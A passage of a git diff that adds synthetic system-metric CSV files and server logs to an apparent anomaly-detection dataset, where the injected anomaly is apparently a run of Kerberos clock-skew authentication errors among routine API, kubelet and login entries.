+2025-07-20T10:05:35Z,28.19,42.92,20.39,0.82,1.27 +2025-07-20T10:05:40Z,26.93,44.11,18.01,1.23,1.17 +2025-07-20T10:05:45Z,29.24,45.94,20.02,0.96,1.1 +2025-07-20T10:05:50Z,21.64,41.99,21.95,0.89,1.48 +2025-07-20T10:05:55Z,27.34,44.46,22.45,1.18,0.86 +2025-07-20T10:06:00Z,25.16,42.46,23.14,0.63,0.8 +2025-07-20T10:06:05Z,31.87,44.07,26.02,0.78,1.25 +2025-07-20T10:06:10Z,30.0,42.87,20.89,1.2,1.11 +2025-07-20T10:06:15Z,23.8,40.8,24.29,0.31,0.75 +2025-07-20T10:06:20Z,30.97,48.52,26.82,0.54,0.91 +2025-07-20T10:06:25Z,28.64,43.55,28.65,0.96,0.99 +2025-07-20T10:06:30Z,23.8,43.31,25.34,0.88,1.17 +2025-07-20T10:06:35Z,25.16,41.72,19.27,0.82,1.27 +2025-07-20T10:06:40Z,29.71,43.97,21.97,0.96,0.91 +2025-07-20T10:06:45Z,29.61,44.31,26.9,1.1,1.25 +2025-07-20T10:06:50Z,26.92,43.36,26.14,0.89,1.07 +2025-07-20T10:06:55Z,24.0,44.98,20.1,0.94,1.45 +2025-07-20T10:07:00Z,27.34,42.5,23.41,0.79,1.14 +2025-07-20T10:07:05Z,27.2,44.26,21.77,0.91,1.65 +2025-07-20T10:07:10Z,23.11,44.38,22.99,0.96,1.66 +2025-07-20T10:07:15Z,26.59,44.77,25.03,1.03,1.32 +2025-07-20T10:07:20Z,21.67,43.62,29.56,0.72,0.88 +2025-07-20T10:07:25Z,25.16,43.92,17.03,1.18,0.59 diff --git a/anom_dataset/scenario_16/anom_16_4.log b/anom_dataset/scenario_16/anom_16_4.log new file mode 100644 index 0000000000000000000000000000000000000000..48af20e1000e057144a16ebc9072dc88d8b59577 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_4.log @@ -0,0 +1,103 @@ +Jul 20 09:59:44 systemd[1]: Started Session 204 of user service-account. +Jul 20 09:59:49 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 09:59:54 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 09:59:59 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:00:04 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:00:09 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 20 10:00:14 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:00:19 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:00:24 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:00:29 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:00:34 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:00:39 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:00:44 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:00:48 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:00:49 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:00:53 systemd[1]: Started Session 219 of user service-account. +Jul 20 10:00:58 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:01:03 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:01:08 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:01:13 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:01:18 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 20 10:01:23 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:01:28 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:01:33 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:01:38 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:01:43 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:01:48 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:01:52 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:01:53 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:01:57 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:02:02 systemd[1]: Started Session 234 of user service-account. +Jul 20 10:02:07 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:02:12 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:02:17 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:02:22 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:02:27 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 20 10:02:32 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:02:37 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:02:42 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:02:47 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:02:52 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:02:54 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 20 10:02:56 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:02:57 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:03:01 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:03:06 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:03:11 systemd[1]: Started Session 249 of user service-account. +Jul 20 10:03:16 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:03:21 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:03:24 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 20 10:03:26 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:03:31 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:03:36 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 20 10:03:41 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:03:46 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:03:51 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:03:54 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 20 10:03:56 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:03:59 auth-service[4590]: WARN Kerberos authentication failed: Clock skew too great +Jul 20 10:04:00 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:04:01 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:04:05 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:04:10 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:04:15 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:04:18 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 20 10:04:20 systemd[1]: Started Session 264 of user service-account. +Jul 20 10:04:25 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:04:30 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:04:35 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:04:39 auth-service[4590]: WARN Kerberos authentication failed: Clock skew too great +Jul 20 10:04:40 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:04:45 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 20 10:04:48 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 20 10:04:50 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:04:55 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:05:00 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:05:04 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:05:05 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:05:09 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:05:12 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 20 10:05:13 auth-service[4590]: WARN Kerberos authentication failed: Clock skew too great +Jul 20 10:05:14 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:05:19 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:05:24 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:05:29 systemd[1]: Started Session 279 of user service-account. +Jul 20 10:05:34 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:05:39 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:05:42 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 20 10:05:44 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:05:49 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:05:53 auth-service[4590]: WARN Kerberos authentication failed: Clock skew too great +Jul 20 10:05:54 kubelet[3100]: INFO Successfully probed container api-gateway +Jul 20 10:05:59 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:06:04 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:06:06 krb5kdc[1999]: ERROR: Clock skew detected with client db-replica-1.domain.local +Jul 20 10:06:08 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:06:09 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:06:13 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:06:18 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:06:23 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:06:27 auth-service[4590]: WARN Kerberos authentication failed: Clock skew too great +Jul 20 10:06:28 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 +Jul 20 10:06:33 api-gateway[5521]: GET /v1/user/status HTTP/1.1 200 diff --git a/anom_dataset/scenario_16/anom_16_5.csv b/anom_dataset/scenario_16/anom_16_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..07bde3ea74508ee4376deff4254664514747e687 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03 11:00:00+00:00,13.95,36.33,22.58,0.52,1.11 +2025-07-03 11:00:05+00:00,15.49,35.62,32.45,0.99,1.88 +2025-07-03 11:00:10+00:00,13.61,41.95,33.95,1.37,1.31 +2025-07-03 11:00:15+00:00,15.48,35.34,20.99,0.63,0.94 +2025-07-03 11:00:20+00:00,12.46,38.07,24.08,0.97,0.91 +2025-07-03 11:00:25+00:00,15.09,37.43,23.46,0.66,1.58 +2025-07-03 11:00:30+00:00,16.28,39.7,32.42,0.7,1.0 +2025-07-03 11:00:35+00:00,16.34,35.85,17.27,1.23,0.97 +2025-07-03 11:00:40+00:00,15.18,36.36,34.83,1.04,1.67 +2025-07-03 11:00:45+00:00,14.49,41.63,27.47,0.69,0.97 +2025-07-03 11:00:50+00:00,12.61,43.31,20.31,0.93,1.82 +2025-07-03 11:00:55+00:00,16.52,38.5,22.39,0.62,1.86 +2025-07-03 11:01:00+00:00,16.83,38.81,25.79,0.75,1.88 +2025-07-03 11:01:05+00:00,18.18,39.33,25.06,0.96,0.81 +2025-07-03 11:01:10+00:00,12.65,40.98,16.44,1.46,1.55 +2025-07-03 11:01:15+00:00,14.82,40.91,19.39,0.52,1.32 +2025-07-03 11:01:20+00:00,17.86,45.69,24.55,0.85,1.09 +2025-07-03 11:01:25+00:00,15.01,37.6,23.06,0.56,0.91 +2025-07-03 11:01:30+00:00,14.28,42.8,23.66,0.66,1.03 +2025-07-03 11:01:35+00:00,16.54,42.73,12.86,1.49,0.9 +2025-07-03 11:01:40+00:00,18.95,43.17,24.56,0.87,1.24 +2025-07-03 11:01:45+00:00,16.57,42.3,19.32,1.26,1.08 +2025-07-03 11:01:50+00:00,14.39,40.58,29.96,1.39,1.82 +2025-07-03 11:01:55+00:00,16.26,41.26,26.02,1.04,1.21 +2025-07-03 11:02:00+00:00,17.82,41.12,19.68,0.94,1.1 +2025-07-03 11:02:05+00:00,14.27,42.7,20.07,0.58,1.24 +2025-07-03 11:02:10+00:00,18.71,38.38,23.01,1.34,1.13 +2025-07-03 11:02:15+00:00,16.59,39.25,26.07,1.28,1.83 +2025-07-03 11:02:20+00:00,14.65,39.43,16.96,1.16,1.37 +2025-07-03 11:02:25+00:00,18.3,41.89,23.91,0.89,1.9 +2025-07-03 11:02:30+00:00,15.99,39.51,19.96,0.52,1.7 +2025-07-03 11:02:35+00:00,14.17,43.69,13.18,1.38,1.7 +2025-07-03 11:02:40+00:00,14.49,39.55,26.21,0.51,0.88 +2025-07-03 11:02:45+00:00,15.01,38.13,30.14,1.37,1.49 +2025-07-03 11:02:50+00:00,16.17,37.83,22.96,0.73,1.09 +2025-07-03 11:02:55+00:00,13.16,39.42,25.71,1.49,0.95 +2025-07-03 11:03:00+00:00,15.99,40.03,31.73,0.99,1.41 +2025-07-03 11:03:05+00:00,15.81,39.0,25.44,0.55,1.47 +2025-07-03 11:03:10+00:00,12.74,43.46,25.06,0.76,1.08 +2025-07-03 11:03:15+00:00,12.98,41.77,24.12,1.47,1.89 +2025-07-03 11:03:20+00:00,14.81,41.05,26.42,0.9,1.88 +2025-07-03 11:03:25+00:00,13.92,37.45,23.31,1.31,1.2 +2025-07-03 11:03:30+00:00,19.46,37.68,29.76,0.99,1.9 +2025-07-03 11:03:35+00:00,12.72,32.38,20.89,1.25,1.95 +2025-07-03 11:03:40+00:00,14.18,39.46,21.75,0.84,1.83 +2025-07-03 11:03:45+00:00,15.87,37.23,27.43,1.06,1.85 +2025-07-03 11:03:50+00:00,18.42,40.99,24.34,1.43,1.91 +2025-07-03 11:03:55+00:00,15.0,37.91,22.62,0.71,1.52 +2025-07-03 11:04:00+00:00,14.78,40.01,33.14,1.09,1.9 +2025-07-03 11:04:05+00:00,16.05,41.33,25.92,1.42,1.93 +2025-07-03 11:04:10+00:00,12.83,36.11,31.46,0.86,1.72 +2025-07-03 11:04:15+00:00,15.75,40.84,27.52,0.63,0.82 +2025-07-03 11:04:20+00:00,13.7,42.75,28.15,0.85,1.94 +2025-07-03 11:04:25+00:00,14.53,40.26,23.49,0.67,1.66 +2025-07-03 11:04:30+00:00,14.54,38.95,24.29,1.27,1.12 +2025-07-03 11:04:35+00:00,14.31,44.94,22.83,0.89,1.08 +2025-07-03 11:04:40+00:00,14.62,40.75,26.77,1.09,1.73 +2025-07-03 11:04:45+00:00,16.94,42.74,17.75,1.38,1.45 +2025-07-03 11:04:50+00:00,19.45,40.82,20.47,0.98,1.32 +2025-07-03 11:04:55+00:00,14.28,40.96,21.24,0.6,1.2 +2025-07-03 11:05:00+00:00,19.24,44.09,26.83,1.08,1.01 +2025-07-03 11:05:05+00:00,17.44,40.63,22.33,0.51,1.47 +2025-07-03 11:05:10+00:00,15.15,40.67,19.12,0.9,0.83 +2025-07-03 11:05:15+00:00,13.97,43.63,24.5,1.12,1.57 +2025-07-03 11:05:20+00:00,12.81,44.75,28.23,0.73,0.9 +2025-07-03 11:05:25+00:00,12.84,38.08,32.58,1.05,0.86 +2025-07-03 11:05:30+00:00,13.73,41.42,33.82,0.94,1.88 +2025-07-03 11:05:35+00:00,14.26,43.86,17.44,1.17,1.45 +2025-07-03 11:05:40+00:00,13.84,36.24,28.2,1.15,1.79 +2025-07-03 11:05:45+00:00,14.89,38.42,23.47,0.82,1.0 +2025-07-03 11:05:50+00:00,16.09,37.02,23.71,1.32,0.92 +2025-07-03 11:05:55+00:00,15.52,40.61,26.56,0.58,1.21 +2025-07-03 11:06:00+00:00,14.54,44.2,23.86,0.95,0.98 +2025-07-03 11:06:05+00:00,14.15,39.12,34.65,0.59,1.02 +2025-07-03 11:06:10+00:00,12.44,45.06,26.47,1.08,1.6 +2025-07-03 11:06:15+00:00,12.63,40.77,23.67,1.37,1.29 +2025-07-03 11:06:20+00:00,17.36,43.25,26.79,0.57,1.03 +2025-07-03 11:06:25+00:00,12.04,41.65,28.61,1.07,1.82 +2025-07-03 11:06:30+00:00,14.05,37.21,26.05,0.86,1.1 +2025-07-03 11:06:35+00:00,17.22,41.81,22.89,1.15,1.59 +2025-07-03 11:06:40+00:00,15.24,38.58,24.42,0.56,1.51 +2025-07-03 11:06:45+00:00,19.14,41.15,20.64,1.24,0.84 +2025-07-03 11:06:50+00:00,15.35,33.87,26.27,0.85,1.68 +2025-07-03 11:06:55+00:00,14.59,46.38,22.7,1.0,1.72 +2025-07-03 11:07:00+00:00,15.14,45.84,32.94,0.65,1.14 +2025-07-03 11:07:05+00:00,17.2,45.85,24.87,1.17,1.97 +2025-07-03 11:07:10+00:00,15.3,38.53,22.77,1.2,1.99 +2025-07-03 11:07:15+00:00,14.9,40.5,20.64,1.49,1.32 +2025-07-03 11:07:20+00:00,17.46,41.92,28.47,0.89,1.67 +2025-07-03 11:07:25+00:00,17.56,34.08,20.04,1.02,1.94 diff --git a/anom_dataset/scenario_16/anom_16_5.log b/anom_dataset/scenario_16/anom_16_5.log new file mode 100644 index 0000000000000000000000000000000000000000..6782df298ba040b5e1cc784ccbca2d16232b17bd --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_5.log @@ -0,0 +1,90 @@ +Jul 03 10:54:45 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:54:50 server-1 kubelet[2345]: INFO: Successfully processed batch job 467. +Jul 03 10:54:55 server-1 kubelet[2345]: INFO: Successfully processed batch job 603. +Jul 03 10:55:00 server-1 kubelet[2345]: DEBUG: Cache hit for key: user_session_1793 +Jul 03 10:55:05 server-1 kubelet[2345]: DEBUG: Cache hit for key: user_session_1040 +Jul 03 10:55:10 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 10:55:15 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 10:55:20 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 10:55:25 server-1 kubelet[2345]: DEBUG: Cache hit for key: user_session_1261 +Jul 03 10:55:30 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:55:35 server-1 kubelet[2345]: INFO: User 1707 logged in successfully from IP 192.168.1.115 +Jul 03 10:55:40 server-1 kubelet[2345]: INFO: User 1182 logged in successfully from IP 192.168.1.91 +Jul 03 10:55:45 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:55:50 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:55:55 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:56:00 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 10:56:05 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:56:10 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 10:56:15 server-1 kubelet[2345]: INFO: User 1876 logged in successfully from IP 192.168.1.117 +Jul 03 10:56:20 server-1 kubelet[2345]: INFO: User 1515 logged in successfully from IP 192.168.1.137 +Jul 03 10:56:25 server-1 kubelet[2345]: DEBUG: Cache hit for key: user_session_1595 +Jul 03 10:56:30 server-1 auth_daemon[5432]: WARN: Kerberos authentication failure: Clock skew too great with KDC +Jul 03 10:56:35 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 10:56:40 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:56:45 server-1 kubelet[2345]: DEBUG: Cache hit for key: user_session_1752 +Jul 03 10:56:50 server-1 kubelet[2345]: INFO: User 1128 logged in successfully from IP 192.168.1.57 +Jul 03 10:56:55 server-1 kubelet[2345]: INFO: User 1326 logged in successfully from IP 192.168.1.112 +Jul 03 10:57:00 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:57:05 server-1 auth_daemon[5432]: WARN: Kerberos authentication failure: Clock skew too great with KDC +Jul 03 10:57:10 server-1 kubelet[2345]: INFO: User 1984 logged in successfully from IP 192.168.1.82 +Jul 03 10:57:15 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:57:20 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:57:25 server-1 kubelet[2345]: DEBUG: Cache hit for key: user_session_1263 +Jul 03 10:57:30 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:57:35 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 10:57:40 server-1 auth_daemon[5432]: ERROR: Authentication failed for user 'admin': Clock skew detected between client and server. +Jul 03 10:57:45 server-1 kubelet[2345]: INFO: Successfully processed batch job 458. +Jul 03 10:57:50 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:57:55 server-1 kubelet[2345]: INFO: User 1588 logged in successfully from IP 192.168.1.86 +Jul 03 10:58:00 server-1 kubelet[2345]: INFO: Successfully processed batch job 879. +Jul 03 10:58:05 server-1 kubelet[2345]: INFO: User 1259 logged in successfully from IP 192.168.1.77 +Jul 03 10:58:10 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 10:58:15 server-1 auth_daemon[5432]: CRITICAL: Failed to commit transaction 96021: Timestamp validation error due to clock skew. +Jul 03 10:58:20 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:58:25 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 10:58:30 server-1 kubelet[2345]: INFO: Successfully processed batch job 571. +Jul 03 10:58:35 server-1 kubelet[2345]: DEBUG: Cache hit for key: user_session_1791 +Jul 03 10:58:40 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:58:45 server-1 kubelet[2345]: INFO: Successfully processed batch job 932. +Jul 03 10:58:50 server-1 auth_daemon[5432]: WARN: Kerberos authentication failure: Clock skew too great with KDC +Jul 03 10:58:55 server-1 kubelet[2345]: INFO: User 1857 logged in successfully from IP 192.168.1.100 +Jul 03 10:59:00 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 10:59:05 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 10:59:10 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 10:59:15 server-1 kubelet[2345]: INFO: Successfully processed batch job 620. +Jul 03 10:59:20 server-1 kubelet[2345]: DEBUG: Cache hit for key: user_session_1611 +Jul 03 10:59:25 server-1 auth_daemon[5432]: ERROR: Received message from node 'worker-3' with timestamp in the future, possible clock skew issue. +Jul 03 10:59:30 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 10:59:35 server-1 kubelet[2345]: INFO: Successfully processed batch job 740. +Jul 03 10:59:40 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 10:59:45 server-1 kubelet[2345]: INFO: User 1712 logged in successfully from IP 192.168.1.73 +Jul 03 10:59:50 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 10:59:55 server-1 kubelet[2345]: INFO: Successfully processed batch job 824. +Jul 03 11:00:00 server-1 auth_daemon[5432]: CRITICAL: Failed to commit transaction 68742: Timestamp validation error due to clock skew. +Jul 03 11:00:05 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 11:00:10 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 11:00:15 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 11:00:20 server-1 kubelet[2345]: INFO: User 1043 logged in successfully from IP 192.168.1.114 +Jul 03 11:00:25 server-1 kubelet[2345]: DEBUG: Cache hit for key: user_session_1860 +Jul 03 11:00:30 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 11:00:35 server-1 auth_daemon[5432]: ERROR: Received message from node 'worker-3' with timestamp in the future, possible clock skew issue. +Jul 03 11:00:40 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 11:00:45 server-1 kubelet[2345]: INFO: Successfully processed batch job 657. +Jul 03 11:00:50 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 11:00:55 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 11:01:00 server-1 kubelet[2345]: INFO: Successfully processed batch job 583. +Jul 03 11:01:05 server-1 kubelet[2345]: INFO: Successfully processed batch job 937. +Jul 03 11:01:10 server-1 auth_daemon[5432]: CRITICAL: Failed to commit transaction 58603: Timestamp validation error due to clock skew. +Jul 03 11:01:15 server-1 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 03 11:01:20 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 11:01:25 server-1 kubelet[2345]: WARN: High latency detected on upstream service 'auth-service' +Jul 03 11:01:30 server-1 kubelet[2345]: INFO: Successfully processed batch job 146. +Jul 03 11:01:35 server-1 kubelet[2345]: INFO: Successfully processed batch job 782. +Jul 03 11:01:40 server-1 kubelet[2345]: INFO: Successfully processed batch job 159. +Jul 03 11:01:45 server-1 auth_daemon[5432]: CRITICAL: Failed to commit transaction 29922: Timestamp validation error due to clock skew. +Jul 03 11:01:50 server-1 kubelet[2345]: DEBUG: Cache hit for key: user_session_1886 +Jul 03 11:01:55 server-1 kubelet[2345]: INFO: Successfully processed batch job 754. +Jul 03 11:02:00 server-1 kubelet[2345]: INFO: User 1853 logged in successfully from IP 192.168.1.66 +Jul 03 11:02:05 server-1 kubelet[2345]: DEBUG: Cache hit for key: user_session_1081 +Jul 03 11:02:10 server-1 kubelet[2345]: INFO: User 1259 logged in successfully from IP 192.168.1.147 diff --git a/anom_dataset/scenario_16/anom_16_6.csv b/anom_dataset/scenario_16/anom_16_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..44187e456386f211e2a11a2944d4bddffc8b550b --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,23.43,37.55,19.58,0.8,1.4 +2025-08-23T10:00:05Z,25.73,37.08,29.45,0.72,1.07 +2025-08-23T10:00:10Z,22.92,41.3,30.95,0.55,1.46 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+2025-08-23T10:01:55Z,26.89,40.84,23.02,1.11,1.65 +2025-08-23T10:02:00Z,29.23,40.75,16.68,0.67,0.63 +2025-08-23T10:02:05Z,23.91,41.8,17.07,0.8,0.99 +2025-08-23T10:02:10Z,30.56,38.92,20.01,1.05,1.27 +2025-08-23T10:02:15Z,27.39,39.5,23.07,0.72,0.82 +2025-08-23T10:02:20Z,24.47,39.62,13.96,1.13,1.22 +2025-08-23T10:02:25Z,29.95,41.26,20.91,0.78,1.14 +2025-08-23T10:02:30Z,26.49,39.67,16.96,0.94,1.23 +2025-08-23T10:02:35Z,23.75,42.46,10.18,0.4,1.48 +2025-08-23T10:02:40Z,24.23,39.7,23.21,0.96,1.09 +2025-08-23T10:02:45Z,25.01,38.75,27.14,0.83,1.31 +2025-08-23T10:02:50Z,26.75,38.56,19.96,0.62,1.11 +2025-08-23T10:02:55Z,22.24,39.61,22.71,0.73,0.98 +2025-08-23T10:03:00Z,26.49,40.02,28.73,0.59,1.1 +2025-08-23T10:03:05Z,26.21,39.33,22.44,0.71,1.09 +2025-08-23T10:03:10Z,21.61,42.31,22.06,0.69,0.93 +2025-08-23T10:03:15Z,21.97,41.18,21.12,1.07,1.72 +2025-08-23T10:03:20Z,24.72,40.7,23.42,0.99,1.33 +2025-08-23T10:03:25Z,23.38,38.3,20.31,0.84,1.09 +2025-08-23T10:03:30Z,31.69,38.45,26.76,0.61,1.43 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+2025-08-23T10:06:55Z,24.38,44.25,19.7,0.76,1.59 +2025-08-23T10:07:00Z,25.2,43.89,29.94,0.54,1.44 +2025-08-23T10:07:05Z,28.3,43.9,21.87,0.67,1.28 +2025-08-23T10:07:10Z,25.45,39.02,19.77,0.71,1.4 +2025-08-23T10:07:15Z,24.85,40.34,17.64,0.99,1.49 +2025-08-23T10:07:20Z,28.7,41.28,25.47,0.66,1.38 +2025-08-23T10:07:25Z,28.84,36.05,17.04,0.53,1.07 diff --git a/anom_dataset/scenario_16/anom_16_6.log b/anom_dataset/scenario_16/anom_16_6.log new file mode 100644 index 0000000000000000000000000000000000000000..c8811ff238baad1bbfe7c355542af0509a07492d --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_6.log @@ -0,0 +1,90 @@ +Aug 23 10:00:00 systemd[1]: INFO: Successfully probed container metrics-collector +Aug 23 10:00:05 systemd[1]: INFO: Liveness probe succeeded for pod nginx-deployment +Aug 23 10:00:10 systemd[1]: Started Session 17 of user ubuntu. +Aug 23 10:00:16 systemd[1]: Started Session 13 of user ubuntu. +Aug 23 10:00:22 systemd[1]: Accepted publickey for ubuntu from 192.168.1.105 port 52358 ssh2 +Aug 23 